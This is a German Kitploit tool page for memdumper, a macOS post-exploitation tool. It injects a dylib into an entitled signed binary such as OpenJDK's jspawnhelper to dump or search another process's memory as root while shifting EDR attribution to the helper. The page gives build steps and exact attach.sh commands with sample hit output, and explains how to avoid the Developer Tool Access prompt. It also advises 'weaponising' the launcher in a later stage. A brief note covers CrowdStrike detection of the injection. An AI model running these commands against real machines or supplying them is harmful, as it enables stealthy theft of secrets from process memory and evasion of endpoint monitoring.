Skip to content
KitploitKITPLOIT
ToolsBlog
Einreichen
ToolsBlog
Einreichen

Hacking-, PenTest- und Cybersicherheits-Tools für Ihr Sicherheitsarsenal!

Kitploit ist ein Verzeichnis von Hacking-, Cybersicherheits- und Pentesting-Tools. Entdecken Sie die neuesten Projekt-Updates, um Schwachstellen zu finden, Systeme zu analysieren, Tests zu automatisieren und Ihre Sicherheit zu stärken.

··Feeds·Kontakt·Datenschutz·© 2026 Kitploit

Tool-Verzeichnis

Kategorien

Alle Kategorien anzeigen
Loading categories
memdumper — Missbraucht macOS-Debugger-Entitlements und DYLD_INSERT_LIBRARIES, um den Speicher eines laufenden Prozesses zu dumpen oder zu durchsuchen, während die EDR-Zuordnung auf eine signierte Hilfs-Binärdatei verschoben wird. | Kitploit
Tools/GitHubGitHub/cenobyte-vincit/memdumper
SpeicherforensikIDS/IPS-UmgehungInformationsbeschaffungPost-ExploitationDigitale ForensikPenetrationstestsRed Teaming
GitHubcenobyte-vincit/memdumper

memdumper

Missbraucht macOS-Debugger-Entitlements und DYLD_INSERT_LIBRARIES, um den Speicher eines laufenden Prozesses zu dumpen oder zu durchsuchen, während die EDR-Zuordnung auf eine signierte Hilfs-Binärdatei verschoben wird.

Repository anzeigen
111vor 2 TagenNoch nicht geprüft

Beliebteste

Alle anzeigen →

Entdecken Sie die meistgenutzten Tools unserer Community.

Alle Tools erkunden

Durchsuchen Sie unsere Tool-Sammlung

Alle Tools anzeigen →
Teilen

memdumper

memdumper liest den Speicher eines laufenden macOS-Prozesses unter der Debugger-Berechtigung einer anderen signierten Binärdatei. Das Ziel ist, dass task_for_pid und ptrace als diese berechtigte Binärdatei laufen, sodass eine EDR-Lösung sie aufzeichnet statt memdumper.

von cenobyte [email protected] 2026

https://github.com/cenobyte-vincit/memdumper

Zusammenfassung

memdumper startet eine berechtigte Binärdatei mit com.apple.security.cs.debugger sowie den beiden Berechtigungen, die einen DYLD_INSERT_LIBRARIES-Einschub erlauben. Verwenden Sie sie, um den Speicher eines anderen Prozesses als root zu durchsuchen und zu sichern. OpenJDKs jspawnhelper ist eine häufig anzutreffende Binärdatei, insbesondere auf Entwicklerrechnern.

Übergebt attach.sh eine Ziel-PID und die berechtigte Binärdatei. Der Dylib-Konstruktor läuft vor deren main, liest das Ziel und ruft dann _exit auf. Die berechtigte Binärdatei erreicht main nie, daher gibt ein Helfer wie jspawnhelper kein Nutzungshinweis aus. Zusätzliche Argumente nach der berechtigten Binärdatei bleiben in der von einer EDR-Lösung aufgezeichneten Befehlszeile. Ohne -s erstellt die Dylib einen Hex-Dump vom Beginn jeder lesbaren Region. Mit -s durchsucht sie diese Regionen nach der Zeichenkette. Der Adressraum des Ziels wird nicht beschrieben. Ein ptrace-Attach kann das Ziel kurz anhalten.

Der Dump-Status ist die Zeile [RESULT] in der zusammengeführten Ausgabe. Ein erfolgreicher Einschub beendet sich nach Beendigung des Konstruktors mit Exit-Code 0.

Voraussetzungen

Laufzeit-Host

  • macOS (Darwin)
  • root
  • Eine berechtigte Binärdatei mit allen drei Berechtigungen com.apple.security.cs.debugger, com.apple.security.cs.allow-dyld-environment-variables und com.apple.security.cs.disable-library-validation (zum Beispiel OpenJDKs jspawnhelper)

Build-Host

  • macOS (Darwin) mit Xcode Command Line Tools oder Xcode
  • clang
  • make
  • shellcheck für attach.sh und die Testskripte (brew install shellcheck)
  • cppcheck (brew install cppcheck)

Erstellen

Auf dem Build-Host:

root@kitploit:~
make

Das erzeugt memdumper.dylib. Kopiert attach.sh und memdumper.dylib auf das Ziel, falls es sich nicht um denselben Rechner handelt.

Verwendung

Führt attach.sh als root aus dem Verzeichnis aus, das memdumper.dylib enthält. Ein Aufruf ohne root wird abgelehnt, bevor die berechtigte Binärdatei startet (root required). Dadurch wird der Passwortdialog „Developer Tool Access“ (taskgated / Authorization Services) vermieden. Dieser Dialog ist nicht Transparency, Consent, and Control (TCC).

root@kitploit:~
sudo ./attach.sh [options] -p <pid> <entitled-binary> [args...]

Bestätigt, dass eine Kandidaten-Binärdatei die drei Berechtigungen besitzt. Das Cellar-Präfix und die OpenJDK-Version variieren; attach.sh verwendet dieses Layout in seiner eigenen Hilfe:

root@kitploit:~
codesign -d --entitlements - \
	/opt/homebrew/Cellar/openjdk/25.0.2/libexec/openjdk.jdk/Contents/Home/lib/jspawnhelper

Erstellt einen Dump der lesbaren Regionen von PID 4543:

root@kitploit:~
sudo ./attach.sh -p 4543 \
	/opt/homebrew/Cellar/openjdk/25.0.2/libexec/openjdk.jdk/Contents/Home/lib/jspawnhelper

Durchsucht diesen Prozess nach HELLO:

root@kitploit:~
sudo ./attach.sh -s HELLO -p 4543 \
	/opt/homebrew/Cellar/openjdk/25.0.2/libexec/openjdk.jdk/Contents/Home/lib/jspawnhelper

Begrenzt den Dump auf 50 lesbare Regionen und verwendet java als berechtigte Binärdatei. TestSpawn bleibt in der Befehlszeile; main von java wird nicht ausgeführt:

root@kitploit:~
sudo ./attach.sh -n 50 -p 4543 \
	/opt/homebrew/Cellar/openjdk/25.0.2/bin/java TestSpawn

Ein Editor ohne Hardened Runtime ist ein funktionierendes Smoke-Testziel. Startet ihn als der Benutzer, dem der Puffer gehört, und führt dann als root den Attach aus. In einem Terminal:

root@kitploit:~
nano foo

Schreibt HELLO in den Puffer, damit die Zeichenkette im Prozess vorhanden ist (die Datei speichern oder ungespeichert lassen). In einem anderen Terminal, aus dem Verzeichnis, das memdumper.dylib enthält:

root@kitploit:~
sudo ./attach.sh -s HELLO -p "$(pgrep nano)" \
	/opt/homebrew/Cellar/openjdk/25.0.2/libexec/openjdk.jdk/Contents/Home/lib/jspawnhelper

Ein Treffer sieht so aus. Der Prozess beendet sich dann mit Exit-Code 0:

root@kitploit:~
Target: pid 9810 (nano)
Target has no hardened runtime

[MEMDUMPER] Injected into PID 9852 (UID 0)
[MEMDUMPER] Entitled binary: /opt/homebrew/Cellar/openjdk/25.0.2/libexec/openjdk.jdk/Contents/Home/lib/jspawnhelper
[MEMDUMPER] Target: PID 9810 (nano)
[METHOD1] task_for_pid() on PID 9810 (nano)
[*] Got task port 0x1013
[*] Task info: virt=425098.0MB res=8.3MB
[*] Threads: 1
[MEMORY SEARCH] Looking for "HELLO" in PID 9810
MATCH at 0xa70c60200 (region: 0xa70c00000-0xa71000000, prot: rw-)
Context:
0x0000000a70c601c0: 00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  |................|
0x0000000a70c601d0: 4f 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  |O...............|
0x0000000a70c601e0: 23 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  |#...............|
0x0000000a70c601f0: 00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  |................|
0x0000000a70c60200: 48 45 4c 4c 4f 00 00 00  00 00 00 00 00 00 00 00  |HELLO...........|
0x0000000a70c60210: 66 6f 6f 00 00 00 00 00  00 00 00 00 00 00 00 00  |foo.............|
0x0000000a70c60220: 6f d9 b9 83 27 dc 6a ec  00 04 00 00 00 00 00 00  |o...'.j.........|
0x0000000a70c60230: 48 45 4c 4c 4f 00 00 00  00 00 00 00 00 00 00 00  |HELLO...........|
0x0000000a70c60240: 2e 2f 00 00 00                                    |./...|
MATCH at 0xa70c60230 (region: 0xa70c00000-0xa71000000, prot: rw-)
Context:
0x0000000a70c601f0: 00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  |................|
0x0000000a70c60200: 48 45 4c 4c 4f 00 00 00  00 00 00 00 00 00 00 00  |HELLO...........|
0x0000000a70c60210: 66 6f 6f 00 00 00 00 00  00 00 00 00 00 00 00 00  |foo.............|
0x0000000a70c60220: 6f d9 b9 83 27 dc 6a ec  00 04 00 00 00 00 00 00  |o...'.j.........|
0x0000000a70c60230: 48 45 4c 4c 4f 00 00 00  00 00 00 00 00 00 00 00  |HELLO...........|
0x0000000a70c60240: 2e 2f 00 00 00 00 00 00  00 00 00 00 00 00 00 00  |./..............|
0x0000000a70c60250: 66 6f 6f 00 00 00 00 00  00 00 00 00 00 00 00 00  |foo.............|
0x0000000a70c60260: 2f d9 b9 83 27 dc 6a ec  22 90 00 00 00 00 00 00  |/...'.j.".......|
0x0000000a70c60270: 00 00 00 00 00                                    |.....|
Search complete: 2 matches found in 70 regions
[METHOD2] ptrace(PT_ATTACHEXC) on PID 9810 (nano)
[*] Attached with ptrace
[*] Detached successfully
[METHOD3] proc_pidinfo() on PID 9810 (nano)
[*] Process info: virt=425098MB res=8MB threads=1
[RESULT] 3/3 methods successful - FULL ACCESS
[MEMDUMPER] Done

attach.sh prüft die Berechtigungen der berechtigten Binärdatei nicht. Fehlt eine der drei Berechtigungen, schlägt der Einschub oder task_for_pid fehl.

Exit-Codes

CodeBedeutung
0Konstruktor nach erfolgreichem Einschub beendet
1Nutzungsfehler, kein root, memdumper.dylib fehlt im aktuellen Verzeichnis, -p fehlt, Ziel-PID nicht gefunden, Hardened Runtime ohne --force oder der Einschub erfolgte nicht (die berechtigte Binärdatei lief dann und beendete sich mit einem Fehlercode ungleich 0)

Lest [RESULT] für das Dump-Ergebnis. Exit-Code 0 bedeutet nur, dass der Konstruktor lief und _exit aufgerufen wurde.

Konfiguration

Die Dylib liest drei Umgebungsvariablen. attach.sh setzt sie anhand der Optionen.

Jeder Starter, der DYLD_INSERT_LIBRARIES auf memdumper.dylib und diese Variablen setzt, kann die Dylib injizieren. attach.sh ist der im Tree enthaltene Starter.

Verifizieren

Auf dem Build-Host baut make die Dylib und führt cppcheck und shellcheck aus. make test führt die Unit-Tests und die funktionale Testsuite aus. Diese Prüfungen sind kein Beweis für eine saubere Laufzeit.

Die Live-Such- und Dump-Tests benötigen Homebrew-OpenJDK und uid 0. Sie suchen jspawnhelper mittels find unter /opt/homebrew/Cellar und /usr/local/Cellar (ohne Versionierung). Sie rufen selbst kein sudo auf. Ohne Homebrew-OpenJDK oder wenn die Suite nicht bereits mit uid 0 läuft, werden diese beiden Fälle übersprungen (Exit-Code 77), sodass ein nicht-root make test keinen Developer Tool Access anzeigt. Verwendet sudo make test, wenn diese Injektionen laufen sollen.

root@kitploit:~
make
make test
sudo make test
make test-unit
make test-functional

Einschränkungen

  • Hardened Runtime blockiert task_for_pid, ptrace und das Lesen des Speichers (1Password, Chrome). --force versucht es trotzdem und scheitert fast immer.
  • Der Laufzeit-Host benötigt root. Ein Nicht-root-Attach mit derselben UID zeigt den Passwortdialog „Developer Tool Access“: taskgated wertet das Authorization-Services-Recht system.privilege.taskport aus. Dieser Dialog ist nicht TCC. Der Entwicklermodus (DevToolsSecurity -enable) plus Mitgliedschaft in admin oder _developer unterdrückt ihn für Homebrew-jspawnhelper (adhoc, öffentliche Debugger-Berechtigung) nicht. Er überspringt das Passwort nur für von Apple signierte Werkzeuge wie lldb. System Integrity Protection (SIP) hält geschützte Systemprozesse selbst für root außer Reichweite.
  • Einige Prozesse (unter anderem bash) verweigern den Attach über andere Prüfungen.
  • attach.sh sucht im aktuellen Arbeitsverzeichnis, nicht neben dem Skript. Um dies vollständig zu bewaffnen, implementiert diesen Starter in Stage 1 oder Stage 2, statt auszuliefern.

Siehe auch

  • ARCHITECTURE.md: Vererbung von Berechtigungen, taskgated und system.privilege.taskport, die drei Methoden, was eine EDR-Lösung aufzeichnet
  • AGENTS.md: Build-Host gegenüber Ziel
Tool herunterladen
OptionBedeutung
-p, --pid PIDZiel-Prozess-ID (erforderlich)
-s, --search STRINGDurchsucht lesbare Regionen nach STRING
-n, --max-regions NMaximale Anzahl lesbarer Regionen für den Hex-Dump (Standard 100). Nur Dump-Pfad
-f, --forceFortfahren, wenn codesign Hardened Runtime meldet
-h, --helpNutzung ausgeben (Exit-Code 1)
VariableGesetzt durchBedeutung
MEMDUMPER_TARGET_PID-pZiel-PID. Wenn nicht gesetzt oder keine positive Ganzzahl, gibt der Konstruktor eine Diagnose aus und kehrt zurück
MEMDUMPER_SEARCH-sWenn nicht leer, wird statt des Dumps gesucht
MEMDUMPER_MAX_REGIONS-nLesbare Regionen für den Hex-Dump (Standard 100). Wird beim Suchpfad ignoriert
memdumper.dylib
attach.sh
  • Die Suche liest höchstens 10 MiB jeder lesbaren Region und durchläuft höchstens 1000 Regionen. Der Dump-Durchlauf stoppt nach 10000 Regionen und gibt nur die ersten 256 Bytes jeder angezeigten Region aus (-n / MEMDUMPER_MAX_REGIONS, Standard 100).
  • ptrace ist nur Attach und Detach. Es erstellt keinen Speicher-Dump. [RESULT] 3/3 bedeutet, dass alle drei Aufrufe erfolgreich waren, nicht dass drei Dump-Pfade liefen.
  • CrowdStrike Falcon für macOS protokolliert Prozess-Umgebungsvariablen, einschließlich DYLD_INSERT_LIBRARIES. Threat Hunter nutzen dieses Feld, um diesen Einschub zu erkennen.
  • Eine Ziel-PID pro Aufruf.